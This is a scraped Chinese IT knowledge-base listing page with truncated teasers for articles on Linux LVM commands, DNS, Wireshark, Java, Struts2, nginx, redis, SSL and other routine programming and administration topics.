                        <div>lvremove命令详解一、命令概述lvremove是LVM(逻辑卷管理)工具集中用于删除逻辑卷(LV)的核心命令,可移除一个或多个逻辑卷,将其占用的逻辑扩展(LE)归还给卷组(VG),供其他逻辑卷复用。其核心功能是彻底删除逻辑卷及其关联数据,操作前需确保LV未被使用(如未挂载文件系统),且删除源LV会同时移除其所有依赖的快照卷。适用于清理废弃存储资源、释放卷组空间的场景。二、语法格式lvremo</div>
                    </li>
                    <li><a href="/article/1950027442433355776.htm"
                           title="linux查看lvm命令,LVM管理常用命令参数详细解释" target="_blank">linux查看lvm命令,LVM管理常用命令参数详细解释</a>
                        <span class="text-muted">南大鳥</span>
<a class="tag" taget="_blank" href="/search/linux%E6%9F%A5%E7%9C%8Blvm%E5%91%BD%E4%BB%A4/1.htm">linux查看lvm命令</a>
                        <div>物理卷管理pvchangepvchange命令允许管理员改变物理卷的分配许可。如果物理卷出现故障,可以使用pvchange命令禁止分配物理卷上的PE。语法pvchange(选项)(参数)选项-u:生成新的UUID;-x:是否允许分配PE。参数物理卷:指定要修改属性的物理卷所对应的设备文件。实例使用pvchange命令禁止分配指定物理卷上的PE。在命令行中输入下面的命令:pvchange-xn/de</div>
                    </li>
                    <li><a href="/article/1950027190192107520.htm"
                           title="Linux从入门到精通——基础篇" target="_blank">Linux从入门到精通——基础篇</a>
                        <span class="text-muted">weixin_30390075</span>

                        <div>一.关于Linux的简介1.什么是Linux?Linux这个词指的是Linux内核,它是用来驱动电脑里的硬件的,而Linux操作系统指的是Linux内核和GUN组织(GUN的全称为GUNisnotUnix)所编写的软件,有了这个内核和相应的软件,由“死”的机械硬件组成的计算机才变成了“活”的,需要注意的是,单纯的软件并不能代表Linux系统。2.Linux的特点和优势1.模块化程度高Linux的内</div>
                    </li>
                    <li><a href="/article/1950025677407318016.htm"
                           title="Linux DNS解析2 -- 网关DNS代理的作用" target="_blank">Linux DNS解析2 -- 网关DNS代理的作用</a>
                        <span class="text-muted"></span>

                        <div>当网关设备仅配置了/etc/hosts文件,而没有运行任何DNS代理服务(如Dnsmasq、Pi-hole或Unbound)时,终端设备将无法通过网关实现完整的DNS域名解析。具体分析如下:一、核心问题:网关没有DNS服务监听53端口DNS协议使用UDP/TCP53端口进行通信。终端设备将网关IP(如192.168.1.1)设为DNS服务器时,会向该IP的53端口发送DNS请求。如果网关未运行任何</div>
                    </li>
                    <li><a href="/article/1950025424415289344.htm"
                           title="【WLAN】【调试】如何使用Wireshark分析加密的WiFi数据包" target="_blank">【WLAN】【调试】如何使用Wireshark分析加密的WiFi数据包</a>
                        <span class="text-muted">花神庙码农</span>
<a class="tag" taget="_blank" href="/search/wireshark/1.htm">wireshark</a><a class="tag" taget="_blank" href="/search/802.11/1.htm">802.11</a><a class="tag" taget="_blank" href="/search/WIFI/1.htm">WIFI</a><a class="tag" taget="_blank" href="/search/%E6%8A%A5%E6%96%87/1.htm">报文</a><a class="tag" taget="_blank" href="/search/%E8%A7%A3%E5%AF%86/1.htm">解密</a>
                        <div>作者简介:花神庙码农(专注于Linux、WLAN、TCP/IP、Python等技术方向)博客主页:花神庙码农,地址:https://blog.csdn.net/qxhgd系列专栏:WLAN技术如觉得博主文章写的不错或对你有所帮助的话,还望大家三连支持一下呀!!!关注✨、点赞、收藏、评论。如需转载请参考转载须知!!如何使用Wireshark分析加密的WiFi数据包引言加密方式上的限制解密报文操作编辑</div>
                    </li>
                                <li><a href="/article/59.htm"
                                       title="html" target="_blank">html</a>
                                    <span class="text-muted">周华华</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a>
                                    <div>js 
 1,数组的排列 
var arr=[1,4,234,43,52,]; 
 for(var x=0;x<arr.length;x++){ 
   for(var y=x-1;y<arr.length;y++){ 
     if(arr[x]<arr[y]){ 
    &</div>
                                </li>
                                <li><a href="/article/186.htm"
                                       title="【Struts2 四】Struts2拦截器" target="_blank">【Struts2 四】Struts2拦截器</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/struts2%E6%8B%A6%E6%88%AA%E5%99%A8/1.htm">struts2拦截器</a>
                                    <div>Struts2框架是基于拦截器实现的,可以对某个Action进行拦截,然后某些逻辑处理,拦截器相当于AOP里面的环绕通知,即在Action方法的执行之前和之后根据需要添加相应的逻辑。事实上,即使struts.xml没有任何关于拦截器的配置,Struts2也会为我们添加一组默认的拦截器,最常见的是,请求参数自动绑定到Action对应的字段上。 
  
Struts2中自定义拦截器的步骤是:</div>
                                </li>
                                <li><a href="/article/313.htm"
                                       title="make:cc 命令未找到解决方法" target="_blank">make:cc 命令未找到解决方法</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E5%91%BD%E4%BB%A4%E6%9C%AA%E7%9F%A5/1.htm">命令未知</a><a class="tag" taget="_blank" href="/search/make+cc/1.htm">make cc</a>
                                    <div>安装rz sz程序时,报下面错误: 
  
[root@slave2 src]# make posix 
cc   -O -DPOSIX -DMD=2 rz.c -o rz 
make: cc:命令未找到 
make: *** [posix] 错误 127 
  
系统:centos 6.6 
环境:虚拟机 
  
错误原因:系统未安装gcc,这个是由于在安</div>
                                </li>
                                <li><a href="/article/440.htm"
                                       title="Oracle之Job应用" target="_blank">Oracle之Job应用</a>
                                    <span class="text-muted">周凡杨</span>
<a class="tag" taget="_blank" href="/search/oracle+job/1.htm">oracle job</a>
                                    <div>  
最近写服务,服务上线后,需要写一个定时执行的SQL脚本,清理并更新数据库表里的数据,应用到了Oracle 的 Job的相关知识。在此总结一下。 
  
一:查看相关job信息 
   1、相关视图  
 dba_jobs  
 all_jobs  
 user_jobs  
 dba_jobs_running 包含正在运行</div>
                                </li>
                                <li><a href="/article/567.htm"
                                       title="多线程机制" target="_blank">多线程机制</a>
                                    <span class="text-muted">朱辉辉33</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a>
                                    <div>转至http://blog.csdn.net/lj70024/archive/2010/04/06/5455790.aspx 
程序、进程和线程: 
 程序是一段静态的代码,它是应用程序执行的蓝本。进程是程序的一次动态执行过程,它对应了从代码加载、执行至执行完毕的一个完整过程,这个过程也是进程本身从产生、发展至消亡的过程。线程是比进程更小的单位,一个进程执行过程中可以产生多个线程,每个线程有自身的</div>
                                </li>
                                <li><a href="/article/694.htm"
                                       title="web报表工具FineReport使用中遇到的常见报错及解决办法(一)" target="_blank">web报表工具FineReport使用中遇到的常见报错及解决办法(一)</a>
                                    <span class="text-muted">老A不折腾</span>
<a class="tag" taget="_blank" href="/search/web%E6%8A%A5%E8%A1%A8/1.htm">web报表</a><a class="tag" taget="_blank" href="/search/finereport/1.htm">finereport</a><a class="tag" taget="_blank" href="/search/java%E6%8A%A5%E8%A1%A8/1.htm">java报表</a><a class="tag" taget="_blank" href="/search/%E6%8A%A5%E8%A1%A8%E5%B7%A5%E5%85%B7/1.htm">报表工具</a>
                                    <div>FineReport使用中遇到的常见报错及解决办法(一) 
这里写点抛砖引玉,希望大家能把自己整理的问题及解决方法晾出来,Mark一下,利人利己。 
  
出现问题先搜一下文档上有没有,再看看度娘有没有,再看看论坛有没有。有报错要看日志。下面简单罗列下常见的问题,大多文档上都有提到的。 
  
1、address pool is full: 
含义:地址池满,连接数超过并发数上</div>
                                </li>
                                <li><a href="/article/821.htm"
                                       title="mysql rpm安装后没有my.cnf" target="_blank">mysql rpm安装后没有my.cnf</a>
                                    <span class="text-muted">林鹤霄</span>
<a class="tag" taget="_blank" href="/search/%E6%B2%A1%E6%9C%89my.cnf/1.htm">没有my.cnf</a>
                                    <div>Linux下用rpm包安装的MySQL是不会安装/etc/my.cnf文件的, 
至于为什么没有这个文件而MySQL却也能正常启动和作用,在这儿有两个说法, 
第一种说法,my.cnf只是MySQL启动时的一个参数文件,可以没有它,这时MySQL会用内置的默认参数启动, 
第二种说法,MySQL在启动时自动使用/usr/share/mysql目录下的my-medium.cnf文件,这种说法仅限于r</div>
                                </li>
                                <li><a href="/article/948.htm"
                                       title="Kindle Fire HDX root并安装谷歌服务框架之后仍无法登陆谷歌账号的问题" target="_blank">Kindle Fire HDX root并安装谷歌服务框架之后仍无法登陆谷歌账号的问题</a>
                                    <span class="text-muted">aigo</span>
<a class="tag" taget="_blank" href="/search/root/1.htm">root</a>
                                    <div>原文:http://kindlefireforkid.com/how-to-setup-a-google-account-on-amazon-fire-tablet/ 
  
Step 4: Run ADB command from your PC 
  
On the PC, you need install Amazon Fire ADB driver and instal</div>
                                </li>
                                <li><a href="/article/1075.htm"
                                       title="javascript 中var提升的典型实例" target="_blank">javascript 中var提升的典型实例</a>
                                    <span class="text-muted">alxw4616</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a>
                                    <div>// 刚刚在书上看到的一个小问题,很有意思.大家一起思考下吧
myname = 'global';
var fn = function () {
	console.log(myname); // undefined
	var myname = 'local';
	console.log(myname); // local
};
fn()

// 上述代码实际上等同于以下代码
m</div>
                                </li>
                                <li><a href="/article/1202.htm"
                                       title="定时器和获取时间的使用" target="_blank">定时器和获取时间的使用</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/%E6%97%B6%E9%97%B4%E7%9A%84%E8%BD%AC%E6%8D%A2/1.htm">时间的转换</a><a class="tag" taget="_blank" href="/search/%E5%AE%9A%E6%97%B6%E5%99%A8/1.htm">定时器</a>
                                    <div>定时器:定时创建任务在游戏设计的时候用的比较多 
  Timer();定时器 
TImerTask();Timer的子类  由 Timer 安排为一次执行或重复执行的任务。 
  
  
  定时器类Timer在java.util包中。使用时,先实例化,然后使用实例的schedule(TimerTask task, long delay)方法,设定</div>
                                </li>
                                <li><a href="/article/1329.htm"
                                       title="JDK1.5 Queue" target="_blank">JDK1.5 Queue</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/thread/1.htm">thread</a><a class="tag" taget="_blank" href="/search/java%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">java多线程</a><a class="tag" taget="_blank" href="/search/Queue/1.htm">Queue</a>
                                    <div>JDK1.5 Queue 
LinkedList: 
LinkedList不是同步的。如果多个线程同时访问列表,而其中至少一个线程从结构上修改了该列表,则它必须 保持外部同步。(结构修改指添加或删除一个或多个元素的任何操作;仅设置元素的值不是结构修改。)这一般通过对自然封装该列表的对象进行同步操作来完成。如果不存在这样的对象,则应该使用 Collections.synchronizedList 方</div>
                                </li>
                                <li><a href="/article/1456.htm"
                                       title="http认证原理和https" target="_blank">http认证原理和https</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/http/1.htm">http</a><a class="tag" taget="_blank" href="/search/https/1.htm">https</a>
                                    <div>一.基础介绍 
        在URL前加https://前缀表明是用SSL加密的。 你的电脑与服务器之间收发的信息传输将更加安全。 
        Web服务器启用SSL需要获得一个服务器证书并将该证书与要使用SSL的服务器绑定。 
http和https使用的是完全不同的连接方式,用的端口也不一样,前者是80,后</div>
                                </li>
                                <li><a href="/article/1583.htm"
                                       title="【Java范型五】范型继承" target="_blank">【Java范型五】范型继承</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>定义如下一个抽象的范型类,其中定义了两个范型参数,T1,T2 
  
package com.tom.lang.generics;

public abstract class SuperGenerics<T1, T2> {
    private T1 t1;
    private T2 t2;

    public abstract void doIt(T</div>
                                </li>
                                <li><a href="/article/1710.htm"
                                       title="【Nginx六】nginx.conf常用指令(Directive)" target="_blank">【Nginx六】nginx.conf常用指令(Directive)</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/Directive/1.htm">Directive</a>
                                    <div>1. worker_processes    8; 
表示Nginx将启动8个工作者进程,通过ps -ef|grep nginx,会发现有8个Nginx Worker Process在运行 
  
nobody    53879 118449  0 Apr22 ?        00:26:15 nginx: worker process          </div>
                                </li>
                                <li><a href="/article/1837.htm"
                                       title="lua 遍历Header头部" target="_blank">lua 遍历Header头部</a>
                                    <span class="text-muted">ronin47</span>
<a class="tag" taget="_blank" href="/search/lua+header+%E9%81%8D%E5%8E%86%E3%80%80/1.htm">lua header 遍历 </a>
                                    <div> 
 local headers = ngx.req.get_headers()   
 ngx.say("headers begin", "<br/>")   
 ngx.say("Host : ", he</div>
                                </li>
                                <li><a href="/article/1964.htm"
                                       title="java-32.通过交换a,b中的元素,使[序列a元素的和]与[序列b元素的和]之间的差最小(两数组的差最小)。" target="_blank">java-32.通过交换a,b中的元素,使[序列a元素的和]与[序列b元素的和]之间的差最小(两数组的差最小)。</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>
import java.util.Arrays;

public class MinSumASumB {

	/**
	 * Q32.有两个序列a,b,大小都为n,序列元素的值任意整数,无序.
	 * 
	 * 要求:通过交换a,b中的元素,使[序列a元素的和]与[序列b元素的和]之间的差最小。 
	 * 例如: 
	 * int[] a = {100,99,98,1,2,3</div>
                                </li>
                                <li><a href="/article/2091.htm"
                                       title="redis" target="_blank">redis</a>
                                    <span class="text-muted">开窍的石头</span>
<a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a>
                                    <div>在redis的redis.conf配置文件中找到# requirepass foobared 
把它替换成requirepass 12356789 后边的12356789就是你的密码 
 
打开redis客户端输入config get requirepass 
返回 
redis 127.0.0.1:6379> config get requirepass 
1) "require</div>
                                </li>
                                <li><a href="/article/2218.htm"
                                       title="[JAVA图像与图形]现有的GPU架构支持JAVA语言吗?" target="_blank">[JAVA图像与图形]现有的GPU架构支持JAVA语言吗?</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/java%E8%AF%AD%E8%A8%80/1.htm">java语言</a>
                                    <div> 
 
      无论是opengl还是cuda,都是建立在C语言体系架构基础上的,在未来,图像图形处理业务快速发展,相关领域市场不断扩大的情况下,我们JAVA语言系统怎么从这么庞大,且还在不断扩大的市场上分到一块蛋糕,是值得每个JAVAER认真思考和行动的事情 
 
 
       </div>
                                </li>
                                <li><a href="/article/2345.htm"
                                       title="安装ubuntu14.04登录后花屏了怎么办" target="_blank">安装ubuntu14.04登录后花屏了怎么办</a>
                                    <span class="text-muted">cuiyadll</span>
<a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a>
                                    <div>这个情况,一般属于显卡驱动问题。 
可以先尝试安装显卡的官方闭源驱动。 
按键盘三个键:CTRL + ALT  +  F1 
进入终端,输入用户名和密码登录终端: 
安装amd的显卡驱动       
sudo  
apt-get  
install  
fglrx       
安装nvidia显卡驱动       
sudo  
ap</div>
                                </li>
                                <li><a href="/article/2472.htm"
                                       title="SSL 与 数字证书 的基本概念和工作原理" target="_blank">SSL 与 数字证书 的基本概念和工作原理</a>
                                    <span class="text-muted">darrenzhu</span>
<a class="tag" taget="_blank" href="/search/%E5%8A%A0%E5%AF%86/1.htm">加密</a><a class="tag" taget="_blank" href="/search/ssl/1.htm">ssl</a><a class="tag" taget="_blank" href="/search/%E8%AF%81%E4%B9%A6/1.htm">证书</a><a class="tag" taget="_blank" href="/search/%E5%AF%86%E9%92%A5/1.htm">密钥</a><a class="tag" taget="_blank" href="/search/%E7%AD%BE%E5%90%8D/1.htm">签名</a>
                                    <div>SSL 与 数字证书 的基本概念和工作原理 

http://www.linuxde.net/2012/03/8301.html 
 
SSL握手协议的目的是或最终结果是让客户端和服务器拥有一个共同的密钥,握手协议本身是基于非对称加密机制的,之后就使用共同的密钥基于对称加密机制进行信息交换。 
 
 
 

http://www.ibm.com/developerworks/cn/webspher</div>
                                </li>
                                <li><a href="/article/2599.htm"
                                       title="Ubuntu设置ip的步骤" target="_blank">Ubuntu设置ip的步骤</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a>
                                    <div>在单位的一台机器完全装了Ubuntu Server,但回家只能在XP上VM一个,装的时候网卡是DHCP的,用ifconfig查了一下ip是192.168.92.128,可以ping通。 
转载不是错: 
Ubuntu命令行修改网络配置方法 
/etc/network/interfaces打开后里面可设置DHCP或手动设置静态ip。前面auto eth0,让网卡开机自动挂载. 
1. 以D</div>
                                </li>
                                <li><a href="/article/2726.htm"
                                       title="php包管理工具推荐" target="_blank">php包管理工具推荐</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/Composer/1.htm">Composer</a>
                                    <div>http://www.phpcomposer.com/ 
       Composer是 PHP 用来管理依赖(dependency)关系的工具。你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。  
中文文档  
入门指南  
下载  
安装包列表   
Composer 中国镜像      </div>
                                </li>
                                <li><a href="/article/2853.htm"
                                       title="Gson使用四(TypeAdapter)" target="_blank">Gson使用四(TypeAdapter)</a>
                                    <span class="text-muted">eksliang</span>
<a class="tag" taget="_blank" href="/search/json/1.htm">json</a><a class="tag" taget="_blank" href="/search/gson/1.htm">gson</a><a class="tag" taget="_blank" href="/search/Gson%E8%87%AA%E5%AE%9A%E4%B9%89%E8%BD%AC%E6%8D%A2%E5%99%A8/1.htm">Gson自定义转换器</a><a class="tag" taget="_blank" href="/search/gsonTypeAdapter/1.htm">gsonTypeAdapter</a>
                                    <div>转载请出自出处:http://eksliang.iteye.com/blog/2175595 一.概述 
       Gson的TypeAapter可以理解成自定义序列化和返序列化 二、应用场景举例 
       例如我们通常去注册时(那些外国网站),会让我们输入firstName,lastName,但是转到我们都</div>
                                </li>
                                <li><a href="/article/2980.htm"
                                       title="JQM控件之Navbar和Tabs" target="_blank">JQM控件之Navbar和Tabs</a>
                                    <span class="text-muted">gundumw100</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a>
                                    <div>在JQM中使用导航栏Navbar是简单的。 
 
只需要将data-role="navbar"赋给div即可: 
 

<div data-role="navbar">
    <ul>
        <li><a href="#" class="ui-btn-active&qu</div>
                                </li>
                                <li><a href="/article/3107.htm"
                                       title="利用归并排序算法对大文件进行排序" target="_blank">利用归并排序算法对大文件进行排序</a>
                                    <span class="text-muted">iwindyforest</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BD%92%E5%B9%B6%E6%8E%92%E5%BA%8F/1.htm">归并排序</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%96%87%E4%BB%B6/1.htm">大文件</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E6%B2%BB%E6%B3%95/1.htm">分治法</a><a class="tag" taget="_blank" href="/search/Merge+sort/1.htm">Merge sort</a>
                                    <div>  
归并排序算法介绍,请参照Wikipeida 
zh.wikipedia.org/wiki/%E5%BD%92%E5%B9%B6%E6%8E%92%E5%BA%8F 
基本思想: 
大文件分割成行数相等的两个子文件,递归(归并排序)两个子文件,直到递归到分割成的子文件低于限制行数 
低于限制行数的子文件直接排序 
两个排序好的子文件归并到父文件 
直到最后所有排序好的父文件归并到输入</div>
                                </li>
                                <li><a href="/article/3234.htm"
                                       title="iOS UIWebView URL拦截" target="_blank">iOS UIWebView URL拦截</a>
                                    <span class="text-muted">啸笑天</span>
<a class="tag" taget="_blank" href="/search/UIWebView/1.htm">UIWebView</a>
                                    <div>本文译者:candeladiao,原文:URL filtering for UIWebView on the iPhone说明:译者在做app开发时,因为页面的javascript文件比较大导致加载速度很慢,所以想把javascript文件打包在app里,当UIWebView需要加载该脚本时就从app本地读取,但UIWebView并不支持加载本地资源。最后从下文中找到了解决方法,第一次翻译,难免有</div>
                                </li>
                                <li><a href="/article/3361.htm"
                                       title="索引的碎片整理SQL语句" target="_blank">索引的碎片整理SQL语句</a>
                                    <span class="text-muted">macroli</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a>
                                    <div>SET NOCOUNT ON
DECLARE @tablename VARCHAR (128)
DECLARE @execstr VARCHAR (255)
DECLARE @objectid INT
DECLARE @indexid INT
DECLARE @frag DECIMAL
DECLARE @maxfrag DECIMAL
--设置最大允许的碎片数量,超过则对索引进行碎片</div>
                                </li>
                                <li><a href="/article/3488.htm"
                                       title="Angularjs同步操作http请求with $promise" target="_blank">Angularjs同步操作http请求with $promise</a>
                                    <span class="text-muted">qiaolevip</span>
<a class="tag" taget="_blank" href="/search/%E6%AF%8F%E5%A4%A9%E8%BF%9B%E6%AD%A5%E4%B8%80%E7%82%B9%E7%82%B9/1.htm">每天进步一点点</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E6%B0%B8%E6%97%A0%E6%AD%A2%E5%A2%83/1.htm">学习永无止境</a><a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/%E7%BA%B5%E8%A7%82%E5%8D%83%E8%B1%A1/1.htm">纵观千象</a>
                                    <div>// Define a factory
app.factory('profilePromise', ['$q', 'AccountService', function($q, AccountService) {
      var deferred = $q.defer();
      AccountService.getProfile().then(function(res) {
  </div>
                                </li>
                                <li><a href="/article/3615.htm"
                                       title="hibernate联合查询问题" target="_blank">hibernate联合查询问题</a>
                                    <span class="text-muted">sxj19881213</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/HQL/1.htm">HQL</a><a class="tag" taget="_blank" href="/search/%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2/1.htm">联合查询</a>
                                    <div>最近在用hibernate做项目,遇到了联合查询的问题,以及联合查询中的N+1问题。 
针对无外键关联的联合查询,我做了HQL和SQL的实验,希望能帮助到大家。(我使用的版本是hibernate3.3.2) 
  
1 几个常识: 
 (1)hql中的几种join查询,只有在外键关联、并且作了相应配置时才能使用。 
 (2)hql的默认查询策略,在进行联合查询时,会产</div>
                                </li>
                                <li><a href="/article/3742.htm"
                                       title="struts2.xml" target="_blank">struts2.xml</a>
                                    <span class="text-muted">wuai</span>
<a class="tag" taget="_blank" href="/search/struts/1.htm">struts</a>
                                    <div><?xml version="1.0" encoding="UTF-8" ?> 
<!DOCTYPE struts PUBLIC 
 "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" 
 "http://struts.apache</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>